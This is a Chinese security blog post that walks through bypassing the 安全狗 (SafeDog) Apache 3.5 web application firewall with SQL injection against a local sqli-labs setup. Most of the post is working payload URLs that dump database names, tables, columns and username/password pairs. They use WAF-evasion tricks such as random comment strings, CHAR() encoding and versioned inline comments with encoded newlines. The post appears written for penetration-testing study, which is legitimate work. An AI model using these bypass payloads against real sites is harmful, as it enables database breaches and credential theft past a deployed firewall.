SQL注入 安全狗apache3.5.12048版本绕过
微信公众号:乌鸦安全
扫取二维码获取更多信息!
更新时间:2021.04.28
前言
没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:
安全狗3.5 获取
目前我们已经发布关于sql注入的文章和教学:
2019.11.20 更新sqli-labs 全部视频更新完成
SQL注入-安全狗超大数据包绕过
SQL注入 安全狗apache4.0.26655绕过
视频版:
https://space.bilibili.com/29903122
0x01 waf
安全狗 safedogwzApacheV3.5.exe
0x02 搭建
网站:apache+mysql+php
phpstudy2018
php版本4.4.45
sqli-labs
0x03 报错注入
关键句
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='security';
select column_name from information_schema.columns where table_name='users';
select username,password from security.users;
手动注入
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
(下面的内容不要直接复制)
http://127.0.0.1/sqli/Less-1/?id=1’ 查看是否有注入
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+ 查看有多少列
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+ 查看当前数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+ 查看数据库security
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码
或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 直接可以得到所有的账号和密码,
并且使用~符号进行分割。
工具注入
0x04 安全狗安装
在安装的时候提示有一个服务名不能为空,这里需要phpstudy调整至系统服务模式。
然后调出任务管理器界面,查看所有服务
将服务写上,安装成功之后,注意不要选择在线安装服务器安全狗,安装之后会显示启动web服务失败,这里将phpstudy重启即可
使用恶意的参数进行测试下,安全狗生效
运行脚本:
网站防护日志:
0x05 Fuzz
在mysql的fuzz里面一般有以下的思路:(不止)
使用大小写绕过
使用/**/注释符绕过
使用大的数据包绕过
使用/!**/注释符绕过
……
1. 测试单引号
http://10.211.55.9/Less-1/?id=1'
显示正常
http://10.211.55.9/Less-1/?id=1' --+
显示正常
2. 测试and
直接使用and的时候,没有异常,但是使用and 1=1的时候,出现问题
正常
拦截
这里测试发现 and 可以出现,但是1不可以出现,既然无法绕过,这里尝试使用注释符来进行测试
3. 测试注释符
在这随机手写了一个,然后就过了。。。。
/*@%$^(*/
http://10.211.55.9/Less-1/?id=1' and/*@%$^(*/ 1=1 --+
继续:
使用order by
指令
http://10.211.55.9/Less-1/?id=1' order by 4 --+
这里可以测出来一共存在三列,然后使用联合查询来试试
http://10.211.55.9/Less-1/?id=1' union select 1,2,3 --+
如果只有union呢?试试
http://10.211.55.9/Less-1/?id=1' union --+
正常
select呢
http://10.211.55.9/Less-1/?id=1' union select --+
gg
使用刚刚的注释符试试
http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select --+
正常
继续
http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select 1,2,3 --+
显示正常
继续:
http://10.211.55.9/Less-1/?id=-1' union /*@%$^(*/ select 1,2,3 --+
正常
那就可以来取数据了
http://10.211.55.9/Less-1/?id=-1' union /*@%$^(*/ select 1,2, database() --+
错误
看来database()
被过滤,那这里面对其进行绕过
4. 测试database()
在这里经过多次测试之后发现,database()
可以使用database/**/()
进行绕过
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, database/**/() --+
显示正常
此时已经获得了数据库名称为security
继续操作来进行下一步,直到能够获取所有的关键信息
现在已知数据库之后,开始获取数据库中的表信息:
对第三个位置来获取表信息:
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的
试试:
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 --+
情理之中,开始准备fuzz
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, table_name --+
正常
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, table_name from --+
此时显示异常
经过fuzz发现,from是关键字,table_name 并不是关键字,所以需要对from进行绕过
经过多次多组fuzz发现,这里需要使用chr()来进行绕过
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, CHAR(102, 114, 111, 109) --+
成功
但是在这里是没法继续下去的
内联注释知识点
/*!select*/: 相当于没有注释
/*!12345select*/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。
/*![]*/: []中括号中的数字若填写则必须是5位
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2, group_concat(schema_name) /*!00000%23/*%0afrom */ information_schema.schemata --+
fuzz成功
这里使用
/*!%23/*%0afrom*/
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2, group_concat(table_name) /*!%23/*%0afrom*/ information_schema.tables where table_schema='security' --+
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2, group_concat(column_name) /*!%23/*%0afrom*/ information_schema.columns where table_name='users' --+
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2,group_concat(concat_ws(0x7e, username, password)) /*!%23/*%0afrom*/ security.users --+
tamper编写
后面出视频
微信公众号:乌鸦安全
扫取二维码获取更多信息!
SQL注入 安全狗apache3.5.12048版本绕过相关推荐
- SQL注入 安全狗apache4.0.26655绕过
微信公众号:乌鸦安全 扫取二维码获取更多信息! 说明 本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错 ...
- SQL注入-安全狗apache绕过
环境配置 Windows 10 phpstudy sqli-labs靶场 网站安全狗apacheV4.0 Fuzz绕过 写一个简单能绕过安全狗的语句(留一个位置刚好能触发安全狗,我这里and就能触发安 ...
- SQL注入-安全狗apache最新版绕过
微信公众号:乌鸦安全 扫取二维码获取更多信息! 01 背景知识 现在的环境下对web选手越来越不友好,如果想在web场景中去挖洞,基本上都要面对waf,而常用的waf产品有很多,本次以开源免费最新版安 ...
- SQL注入基础原理与案例(详细总结)
SQL注入基础原理与案例 一.前言 二.漏洞概述及危害 1.漏洞概述 2.漏洞危害 3.漏洞防范 三.SQL注入 1.SQL注入方式 (1)信息收集 (2)数据注入 (3)高权限注入 2.判断是否存在 ...
- web漏洞开始,sql注入
第十一天,web漏洞必懂知识点 这个图里面,右边的漏洞比左边的漏洞相对重要,因为在实战过程中,左边所产生的漏洞就比较少,我们学习网络安全呢就要做到他们的这些原理和危害. 比如sql注入漏洞是网站数据库 ...
- [4] SQL 注入(七月最佳)
SQL 注入十分普遍,新闻 ➡️<报告称 超 6 成 Web应用程序攻击来自SQL注入>. 如上所述,SQL注入攻击 或 SQLi 是一种通过将恶意SQL语句插入其输入字段以供执行来利用S ...
- DVWA通过攻略之SQL注入
目录 1.SQL Injection SQL注入 2.实验演示 2.1.low 2.3.high 2.4.impossible 3.sqlmap自动化注入 3.1.low 3.2.medium 3.3 ...
- TP5 框架 SQL 执行流程分析及 5.0.9 SQL 注入漏洞分析
文章目录 SQL查询流程 TP 5.0.9 SQL注入 修复 SQL查询流程 TP5手册:https://www.kancloud.cn/manual/thinkphp5/118044 在分析 tp5 ...
- ThinkPH5 SQL注入(Mysql 聚合函数)
ThinkPH5 SQL注入(Mysql 聚合函数) 漏洞概要 初始配置 漏洞利用 漏洞分析 漏洞修复 攻击总结 漏洞概要 本次漏洞存在于所有 Mysql 聚合函数相关方法,由于程序没有对数据进行很好 ...
最新文章
- 微信企业号开启回调模式--php
- python 删除list中的第一个元素
- 图解VC++ opengl环境配置和几个入门例子
- 知乎云敲钟、比特币可购买特斯拉、用户隐私收集新规五一生效、 软件疯长等|Decode the Week...
- java基础知识点_零基础学习Java语言,各个阶段需要掌握的知识点
- org.apache.flink.table.catalog.exceptions.CatalogException: Failed to create Hive Metastore client
- ASP.NET Core 源码学习之 Options[2]:IOptions
- [微信小程序] 当动画(animation)遇上延时执行函数(setTimeout)出现的问题
- 【idea】 Unsupported class file major version 57
- php5.4 教程,linux php5.4 装置教程_后端开发
- 跨境电商独立站建站优化清单
- 002.操作系统的选择
- 艺术字计算机学院,最新职称计算机考试Word2003操作题:艺术字
- 加速网站速度的最佳做法_(2)把样式表放在顶部
- python PIP包管理工具安装
- Net-SNMPv3的使用
- android ipad 免费思维导图软件,推荐一款 iPad 能用的思维导图软件
- django如何连接Mysql中已有的数据库
- 【VBA研究】智力游戏-蓝色方块
- 电赛校赛总结----一维板球系统【代码开源】
热门文章
- 任务一(创新小组19届安卓方向)
- Day03,爬虫的一天
- linux shell 脚本 if和else代码块都被执行 | shell 批量添加、删除用户(for循环做if嵌套)
- eclipse 使用jad插件安装详解
- 1000!有几位数,为什么?
- volatile用法详解
- android ril.java_Android RIL学习
- matlab pls rmsecv,偏最小二乘法PLS回归NIPALS算法及Matlab程序及例子.doc
- 疯狂动物城简介第一台通用计算机,疯狂动物城
- 用C#实现递归调用方法